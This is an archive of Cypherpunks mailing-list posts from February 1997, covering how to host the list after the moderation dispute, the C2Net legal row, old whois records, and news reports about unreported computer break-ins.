> two logfiles -- on separate partitions, in case one fills up.  At
> least if you want to have an archive of what's been sent.
> 
> >      I can provide a pentium box running Linux with a T1 connection to
> > MAE-West to host the list, if there is still interest.
> 
> Make sure you are getting "transit" service to the Internet, instead
> of trying to cheap out with "peering" to a few major networks.
> Without transit service ("we'll carry your packets to anywhere even if
> the destination is not on our network") you won't be able to route
> packets to some places on the net.  This will cause mail to those
> subscribers to sit in the queue for days and then bounce.
> 
> The real issue is how willing you are to put your own time into
> dealing with problems.  Not only do things go wrong by themselves, but
> there are malicious assholes in the world who will deliberately make
> trouble for you just because they like to.  Spending a day or two
> cleaning up the mess is just part of the job.  Check your level of
> committment two or three times before taking on the task -- so you
> won't end up getting disgusted after a month or two and putting the
> list's existence into crisis again.  It's not a "set it up and forget
> it" kind of operation.

Listen to it, John is absolutely right. Running a big mailing list is
an incredible commitment and it is important to realize what you are 
getting into.

Another suggestion may be to set sendmail expire option to one day
instead of five so that messages that cannot be delivered would bounce
faster and not clog the queue.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 17 Feb 1997 10:03:07 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment and moderator liability
In-Reply-To: <3307FF7D.7B59@gte.net>
Message-ID: <199702111922.TAA00444@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dale Thorn <dthorn@gte.net> writes:
> Adam Back wrote:
> > [summary of events]
> 
> I believe your summary is very accurate except:
> 
> I would add after the paragraph about Dimitri posting the warning
> about C2, that C2's lawyers sent an immediate threatening letter
> to Dimitri.

Agree, that should be added:

15a. Dimitri received a legal notice from C2Net's lawyers about
Dimitri's allegations

> I would change the paragraph about Tim May receiving a warning from
> C2's lawyers to say that Tim May received a warning second-hand that
> anything Tim would say to support or reiterate Dimitri's claims
> would be actionable by C2 as well.

Let's see I wrote:

> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Tim explained the situation in fair detail in his recent post,
explaining, after Sandy's "Absolutely false." retort to my above
claim.  Perhaps my wording could be more accurately changed in the
light of the further explanation from Tim to:

21. Tim was told by a C2Net employee that if he did not desist from
discussing Dimitri's claims about C2Net's StrongHold product, C2Net
would take legal action against him!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Tue, 11 Feb 1997 06:26:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: sandy who??
Message-ID: <33013873.4214@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

i am a new addition on the mailing list. i am amazed to find that half
the mails talk about "sandy (god knows who he is) and he censoring
mails" rather than crypto stuff.

somebody please let me know who sandy is and what exactly is this
censoring issue.

anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 17:32:23 -0800 (PST)
To: pjm@spe.com (Patrick May)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702112210.OAA01556@gulch.spe.com>
Message-ID: <199702120127.TAA20733@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Patrick May wrote:
>      Before doing this, I'd need the answers to a few questions:
> 
>      - Is there still any interest in a cypherpunks mailing list?

yes
 
>      - Is alt.cypherpunks a better alternative?

it is not an alternative, it is a complement. 

i think that alt.cypherpunks will be a failure because all of
the troubles of alt.* hierarchy.

>      - Majordomo can be configured to require confirmation of
>        subscription requests, thus avoiding some attacks.  Is there
>        any simple way to protect against mailloops?  Directly
>        accessing the listname-outgoing alias?

Add X-Loop: header and use procmail to protect against messages
FROM_DAEMON and FROM_MAILER.

>      - Is a pentium up to the task of running a list of this size and
>        volume?

yes, it is the other stuff that's the problem -- memory, connection
speed, etc.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 17:26:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up" (fwd)
Message-ID: <199702120132.TAA08646@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 08:30:54 -0800
> From: Alan Olsen <alan@ctrl-alt-del.com>

> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)

A minimum standard for a useable remailer (YMMV):

   486DX(blah)
   16M
   1G IDE
   Mitsumi CD Rom (very widely supported)
   VGA 1M
   NE2000 x 2 (Internet & Intranet)
   High-speed serial ports x 3 (Mouse, Modems x 2) [optional]
   ISDN Bridge (incl. NT-1, no POTS)
   ISDN Line (contact business office)
   Internet Provider (commercial service, nameservice, news, etc.)
   10BaseT Bridge [optional, depends on Bridge]
   Registration of domain name [optional, suggested]
   Linux (WinNT if clueless)

For a full-time commercial feed in Austin, Tx. your talking about:

Startup:

$600 Machine
$100 VGA Monitor
$100 Computer accessories
$400 28.8 Modems ($200 x2)
$150 ISDN install
$1k  ISDN Bridge
$500 ISP setup & init (this is commercial, not hobby)
$100 Initial name registry
$300 UPS

$3,250


Monthlies:

$50  Phones ($25 x2)
$25  Utilities
$75  ISDN
$400 ISP connection

$550

Note:

  *    This machine can't be your personal workstation. It will be
       entirely too busy.

  *    Learn shell, c, Pearl to start.

  *    O'Reilly makes very useful books.

  *    Such a machine will handle from between 100 to 500 accounts
       depending on how you set up your system.

  *    If you have the money, put it in the bandwidth first.

  *    I would very strongly suggest against using your employers
       resources for such activities.

  *    You will want at least one dedicated dial-in, no matter what.
       This is a good place for distinctive ring and a line splitter.
       Consider this when buying the modem, it will raise the price
       of the modem. Also consider the personal 800 numbers that are
       available.

  *    Consider strongly the use of an encrypted file system. While
       they make automated re-boots impossible their security can be
       quite appealing. (This is an issue that somebody who is already
       designing encrypted file systems should look into, how to allow
       automated reboots w/o manual entry of the key(s).)

  *    Anonymous remailer extensions would not be a major resource hog.

  *    If you are going to consider allowing general access by your users
       via dial-in use 10 - 15 users per line per day, assuming no
       enforced quota.

Hope this helps anyone who might be interested in starting up such a beast.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com



When I was a kid, I lived in Pasadena, Tx. just down the street from the
Washburn Tunnel. There was a big sign going from Pasadena to the Houston
side that said "The grass is greener in Pasadena". This sentiment is the
true liberator of the human spirit. Keeping up with the Joneses is burned
into our genes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 16:51:13 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: STE_pup
Message-ID: <1.5.4.32.19970212004512.006c08b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:

>Fingerprint readers tend to work regardless if the finger is attached to a
>body or not. All that fingerprint readers will do is increase the damage to
>those relying on ever increasing, but misguided, methods of authentication.
>See the rise in "identity theft" since SSN's began to be used for
>identification.

Oracle claims they've solved the lopped or faked pinkie problem by verifying 
other biometry. One device IDs BO. None invade privacy the snakes hiss.

What next, BS detectors? Nah, that'd kill commerce and law and government
and true love and blind faith in supreme-gold-fool.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 16:53:07 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <Pine.3.89.9702111425.A20441-0100000@netcom3>
Message-ID: <0n0FEn200YUg0KanA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

das@razor.engr.sgi.com (Anil Das) writes:
> On Feb 11,  2:42pm, Alan Bostick wrote:
> > new alt.* newsgroups are better
> > received if they don't have top-level names.  Using existing top-level
> > hierarchies is better (e.g. alt.security.cypherpunks or
> > alt.privacy.cypherpunks).
> 
> I agree that alt.privacy.cypherpunks is the best bet, if alt.group
> is the route we go.

This has a number of frige benifits, too. It's lower down in the
alphabetical list, so luser AOL-type people and auto-spam bots are
less likely to reach alt.p* or alt.s* than alt.c*. Also, it seperates
it from alt.cyberpunk and associated groups, thus maybe minimizing
innappropriate x-posts.

The hybrid mailing list/newsgroup system seems to me to be an
excellent setup. It is resilliant to the moderation woes that a
mailing list is vulernable to, and is also resistant to ISPs who don't
carry alt groups. It also provides a set of mail-news gateways for
people who wish to post anonymously to the newsgroup, whaile at the
same time being resistant to commercial spam abuse (why use a
mail-news to spam if it just goes to 1 newsgroup?).

Finally, a newsgroup makes it easy to spread the gospel to the
unwashed masses. Tim May's rants/essays would probably make excellent
usenet memes, and having more usenet people crypto-aware can only help
advance the causes of liberty and privacy. I hereby volunteer to do my
best to handle all the newbie questions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwEULskz/YzIV3P5AQGgNQMAgPaMmS7Wcb4kT6Mc9ak3dLZ9GjdvZmtU
ZDdkLhnnJ+3IFD1RWzo7gahEXDrJtFQ3QfWhcjC/0V9EMYWBr/ITa2esNXPiuCWW
KyWYblVSCeYGdrzd0MK8MJXIjX5hWZ/A
=emtl
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 17:57:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702120203.UAA08930@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

What is the current future of the Cypherpunks webpage? Will it continue to
be kept up or is it going down as well?


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 17:14:40 -0800 (PST)
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: whois cypherpunks.org ?
Message-ID: <1.5.4.32.19970212010456.006a2430@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks (REMAILER-DOM)
   1819 Woolsey St.
   Berkeley, CA 94703
   Domain Name: REMAILER.NET
   Administrative Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Billing Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Record last updated on 17-Oct-96.
   Record created on 09-Nov-94.
   Domain servers in listed order:
   FLYING.FISH.COM              140.174.97.13
   NS1.SAC.NET                  208.146.161.2

----------

CypherPunks (CYPHERPUNKS-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.COM
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 14-Sep-95.
   Record created on 14-Sep-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

CypherPunks Group (CYPHERPUNKS3-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.ORG
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 03-Oct-95.
   Record created on 03-Oct-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

Cypherpunks (ANONYMOUS-DOM)
   PO Box 170608
   San Francisco, CA 94117-0608
   Domain Name: ANONYMOUS.NET
   Administrative Contact, Technical Contact, Zone Contact:
      Gilmore, John  (JG150)  gnu@TOAD.COM
      +1 415 221 6524 (FAX) +1 415 221 7251
   Record last updated on 24-Jun-93.
   Record created on 24-Jun-93.
   Domain servers in listed order:
   CYGNUS.COM                   205.180.230.20
   RTL.CYGNUS.COM               205.180.230.21

----------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Tue, 11 Feb 1997 17:32:48 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199701302228.OAA19264@toad.com>
Message-ID: <Pine.LNX.3.93.970211202635.7940B-100000@user1.scranton.com>
MIME-Version: 1.0
Content-Type: text/plain


       1-800-688-6115 press 0 or just wait for the operator. My second
order consisting of posters and video has not arrived either. It has been
about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
you order the Rainbow series you will be getting a large box.Their are
something like 30+ booklets in the series.
        There is a set of security posters  that include a Santa
poster.And there is also a video with two films on it (Acess Ins and outs
adb Acess Control).
                    Good luck on your mission Mr. Phelps,
                         moroni




On Thu, 30 Jan 1997, Genocide wrote:

> Date: Thu, 30 Jan 1997 12:42:08 -0800 (PST)
> From: Genocide <gen2600@aracnet.com>
> To: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: NSA Rainbow Series.
> 
> 
> 	A while back someone posted the 1-800 number for the NSA to call
> in and get the Rainbow series delivered.... well, I called and put in an
> order and it never came, I need to call them again... I don't have the
> phone numbere number anymore...does anyone have it? Can someone
> email me the number again?
> 
> Genocide
> Head of the Genocide2600 Group
> 
> 
> ============================================================================
> 		   **Coming soon! www.Genocide2600.com!
>          ____________________
>   *---===|                  |===---*
>   *---===|     Genocide     |===---*     "You can be a king or a street
>   *---===|       2600       |===---*   sweeper, but everyone dances with the
>   *---===|__________________|===---*              Grim Reaper."
>                                        
> Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
> 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 	It is by caffeine alone that I set my mind in motion.
> 	It is by the Mountain Dew that the thoughts acquire speed,
> 	the lips acquire stains, the stains become a warning.
> 	It is by caffeine alone that I set my mind in motion.
> ================================================================================
> 
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 20:47:46 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <3301491B.7621@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    two points you make:
> >    1.  the propogation is slow...
> >    2.  some sites do not carry alt. groups
> >    are enough to kill an active discussion list. of course, it does
> >    slow down excessive volume.

Good if all this is worked out in advance.  I'd like to add a couple
thoughts:

The freedom from temptation to interfere (censor, etc.) outweighs
the slowness.

The nature of the list (crypto) creates more paranoia than most
other lists, making the above even more important, with the
advantage being that there *should* be less noise than other forums
due to the technical nature of the discussion.

Thanks to the last couple of months, c-punks has now provided nearly
every example of what to look out for and plan for.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 19:03:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: http:--cnnfn.com-digitaljam-wires-9702-11-hackers_wg-
Message-ID: <199702120309.VAA09144@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Click here to download the shareware YOU want at ZDNet [INLINE]
   Digital Jam hackers graphic 
   Hackers victimize firms
   
   
   Experts tell House panel breaking into networks is too simple
   
   
   February 11, 1997: 6:17 p.m. ET
   
   
   [INLINE] 
   
   
   Hackers and Feds in Vegas - July 31, 1996
   
   
   Internet firms make hacking pay - April 12, 1996
   
   WASHINGTON (Reuter) -- Hackers are finding it easier to break into
   computer networks and steal money, partly because companies are
   reluctant to admit that they are vulnerable, security experts said
   Tuesday.
   [INLINE] "If I want to steal money a computer is a much better tool
   than a handgun," Daniel Geer, engineering director for Open Market,
   Inc., told a House of Representatives technology subcommittee hearing
   on computer security. "They start out stealing $1,000 a day and figure
   they can get away with $2,000 a day and then they get greedy and hit
   some figure which sets off alarm bells."
   [INLINE] A panel of experts assembled by the subcommittee said many
   companies refuse to report breaches in their security because they
   want to avoid negative publicity and embarrassment.
   [INLINE] "Most computer crimes are not reported," Eugene Spafford of
   Purdue University told the panel. He estimated losses run into
   "hundreds of millions of dollars" but said no one really knows since
   so much goes unreported.
   [INLINE] Daniel Farmer, a security consultant, said penetrating a
   computer system is relatively easy. "Just using simple tests, I could
   break into two-thirds of the systems I tried," he said, adding that he
   could easily raise that figure to three-quarters if he wanted.
   [INLINE] Farmer said that during his tests he even discovered a
   problem with the White House World Wide Web site and told the system
   manager about it. He said he never received a reply.
   [INLINE] "Defensive programs have been overtaken by offensive
   programs" developed by hackers, he said.
   [INLINE] Spafford said law enforcement has kept pace with advances
   made by hackers who are able essentially to take over entire networks
   and run them by remote control.
   [INLINE] In addition to banks and corporations, the experts said,
   government secrets can be stolen and used to threaten national
   security. They cited recent computer network tampering at the Justice
   Department and the CIA.
   [INLINE] A General Accounting Office study recently found that there
   were 250,000 "hits" aimed at the Defense Department's computer
   networks last year and 65 percent were successful. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright 1997 Reuters. All rights reserved. This material may not be
   published, broadcast, rewritten, or redistributed.
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 21:32:49 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks-related lists on toad.com
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <3.0.1.32.19970211212158.0067c7a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, John - thanks for supporting and putting up with us all these years.
How do you feel about continuing support for the cypherpunks-related
lists that are also on toad.com, coderpunks and cypherpunks-announce?

I'd guess that if we move the cypherpunks list to another machine,
rather than mutating it into alt.cypherpunks, the -announce list
should probably also move once the new list is working.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "jeannie@accucomm.net"@accucomm.net
Date: Tue, 11 Feb 1997 18:41:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remove
Message-ID: <199702120238.VAA25073@atl1.america.net>
MIME-Version: 1.0
Content-Type: text/plain


Please remove our e-mail address from your services we received three 
viruses from erractic re-mail.

Thank You
Allen Woffard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 21:55:49 -0800 (PST)
To: Evil se7en <se7en@dis.org>
Subject: Re: Germany Versus Scientology
In-Reply-To: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
Message-ID: <33015976.5514@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Evil se7en wrote:
> I have posted a rather lengthy story about Germany's war against the
> Scientologists. It was long enough to preclude mailing it directly to the
> lists, so I have put it on my web site. You may find it at:

The L.A. Times ran a very impressive two-page article on this last
week.  The text compared the current steps by the German govt. to
the steps taken against Jews by the Nazi govt.

I happen to believe that Scientologists are dangerous, for how
quickly they can ruin someone's mental state.  But the article
is interesting for the comparisons....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 11 Feb 1997 19:56:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702120357.VAA09228@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
> From: ichudov@algebra.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"

> John Gilmore wrote:
> > A pentium is definitely up to this task.  I've been running it the
> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> > general computing).  Give it a big /var/spool partition (mine is 60MB)
> > because every message will sit in the queue for days (*somebody* on
> > the list will have an unreachable name server or MX server until the
> > msg times out).  Give it lots of RAM and paging space, since each
> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> > have dozens running at the same time.

My approach to this problem has been to use a 1G drive and mount the entire
file system on it. Swap and MS-Dos each get their own partitions. This
allows the use of the entire drive as a buffer. I am in the process of
adding another 1G in approx. two weeks with the intent of moving /home off
the main drive. This not only gives the system more space but the users as
well. I set swap to 4x main ram. I use Linux and have it as one giant
partition even though suggested is blocks of 16M, works for me (YMMV). Would
be minor to monitor df and alarm when it gets to 200M or something.

I must admit however that I am looking at a faster mbrd. and a bigger hard
drive in the immediate future to make up for the extra load I expect. Had
not really planned on the remailer project however...

> > You'll need a BIG mailbox for the bounce messages, and someone (or
> > some unwritten software) to scan it every day or two and delete the
> > lusers whose mailboxes are full or who dumped their account without
> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> > email a day; more when the list is under attack.

How about dumping the bounces to /dev/null? I shure don't care if some
bozo's (other than mine that is) mailbox goes away.

> > Make sure that every message sent to the list gets into at least
> > two logfiles -- on separate partitions, in case one fills up.  At
> > least if you want to have an archive of what's been sent.

I have no intention of acting as an archive. I personaly see that as a
'subscriber' issue. Potentialy even a business if the archive were suitably
databased. Of course with the distributed model any member is potentialy
capable of this.

> > >      I can provide a pentium box running Linux with a T1 connection to
> > > MAE-West to host the list, if there is still interest.

I would certainly be interested in your involvment with the Distributed
Remailer.

> > The real issue is how willing you are to put your own time into
> > dealing with problems.  Not only do things go wrong by themselves, but
> > there are malicious assholes in the world who will deliberately make
> > trouble for you just because they like to.  Spending a day or two
> > cleaning up the mess is just part of the job.  Check your level of
> > committment two or three times before taking on the task -- so you
> > won't end up getting disgusted after a month or two and putting the
> > list's existence into crisis again.  It's not a "set it up and forget
> > it" kind of operation.

I can verify this. If I was not already having to deal with these problem
as a current mailing list operator I certainly would not take on the
job. It is one of the reasons I STRONGLY suggest anyone serious about this
should use the resources to make money as well. Anyone capable of setting up
and operating such a remailer system is at least capable of basic skills.

> Another suggestion may be to set sendmail expire option to one day
> instead of five so that messages that cannot be delivered would bounce
> faster and not clog the queue.

I like this idea very much. Myself I would set it for like 4 hours or so and
if it couldn't be delivered then bye bye. Another motivation for selective
sites to operate as archives without themselves being remailers.

Another issue related to this is at what point to unsubscribe accounts. It
seems to me that if the address times out some number of times it should be
deleted.

Is anyone interested in acting as a mail-to-news gateway?



                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 11 Feb 1997 19:08:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Computer break-ins
Message-ID: <9702120308.AA02571@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

To: cypherpunks@toad.com
Date: Tue Feb 11 22:14:30 1997

      U.S. Experts: Computer Break-Ins Go Unreported    U.S. Experts: 
Computer Break-Ins Go Unreported February 11, 1997, 4:19 PM EST

 WASHINGTON (Reuter) - Security experts said on Tuesday hackers are 
finding it easier to break into computer networks and steal money, 
partly because companies are reluctant to admit that they are 
vulnerable.

 ``If I want to steal money a computer is a much better tool than a 
handgun,'' Daniel Geer, Director of Engineering for Open Market, Inc., 
told a House of Representatives technology subcommittee hearing on 
computer security.

 ``The only way they get caught is if they cross some threshold,'' he 
said. ``They start out stealing $1,000 a day and figure they can get 
away with $2,000 a day and then they get greedy and hit some figure 
which sets off alarm bells.''

 A panel of experts assembled by the subcommittee said many companies 
refuse to report breaches in their security because of they want to 
avoid negative publicity and embarassment.

 ``Most computer crimes are not reported,'' Eugene Spafford of Purdue 
University told the panel. He estimated losses run into ``hundreds of 
millions of dollars'' but said no one really knows since so much goes 
unreported.

 Daniel Farmer, a security consultant, said penetrating a computer 
system was relatively easy. ``Just using simple tests, I could break 
into two-thirds of the systems I tried,'' he said, adding that he could 
easily raise that figure to three-quarters if he wanted.

 Farmer said that during his tests he even discovered a problem with 
the White House World Wide Web site and told the system manager about 
it, but never received a reply.

 ``Defensive programs have been overtaken by offensive programs'' 
developed by hackers, he said.

 Spafford said law enforcement had not been able to keep up with 
advances made by hackers who are able essentially to take over entire 
networks and run them by remote control.

 In addition to banks and corporations, the experts said, government 
secrets can be stolen and threaten national security. They cited recent 
computer network tampering at the Justice Department and the CIA.

 A General Accounting Office study found that there were 250,000 
``hits'' aimed at the Defense Department's computer networks last year 
and 65 percent were successful.

 =A9 Reuters Ltd. All rights reserved. 


     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 22:55:39 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: List for discussing many majordomos
In-Reply-To: <199702120140.RAA23826@songbird.com>
Message-ID: <3.0.1.32.19970211224603.00699d78@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:

>We can coordinate our efforts. Actually, we can even have a mini
>mailing list for people who want to participate in the distributed
>cypherpunks experiment. If there is any interest, I can create such 
>a list.

Yes, this is a good idea. One of the proponents of the "many majordomos"
project apparently has plans to impose his own ideas about intellectual
property on the project, and this seems like a pretty serious thing for a
setup that's allegedly going to prevent censorship. We need a place to
discuss this.


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 20:20:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Win '95 disk crypto...
Message-ID: <TCPSMTP.17.2.11.-9.22.54.2780269260.1515737@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: SOFT> Encrypted disks for Windows NT

 In> From: softwinter@post1.com
 In> Date: Mon, 10 Feb 1997 03:13:22 +0200 (IST)

 In> Soft Winter Corporation, February 10, 1997 released:
 In> Shade - strong encryption software for Windows NT.

 In> Shade allows you to create encrypted disk device inside a file.
 In> Such a device can then be formatted using any file system
 In> (like NTFS or FAT) and used as a regular disk. The only difference
 In> is that Shade will encrypt the data on every write operation
 In> and decrypt it on every read operation.

 In> To download  go to: http://softwinter.bitbucket.co.il

 In> Soft Winter Corporation,
 In> softwinter@post1.com


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 20:29:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List!  No Way: Creati
Message-ID: <TCPSMTP.17.2.11.-9.23.24.2780269260.1515739@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:attila@primenet.com to Harka <=-

 In> I vote we just set up a new majordomo with some additional
 In> antispam filters including knocking out exploding mail headers,
 In> etc. I would accept excluding non-members as long as we take the
 In> remailers which are listed with either JP or RL.

Were it possible to use Perry's PGPDomo, which would effectively
keep out at least the Spammers?

Perry? :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
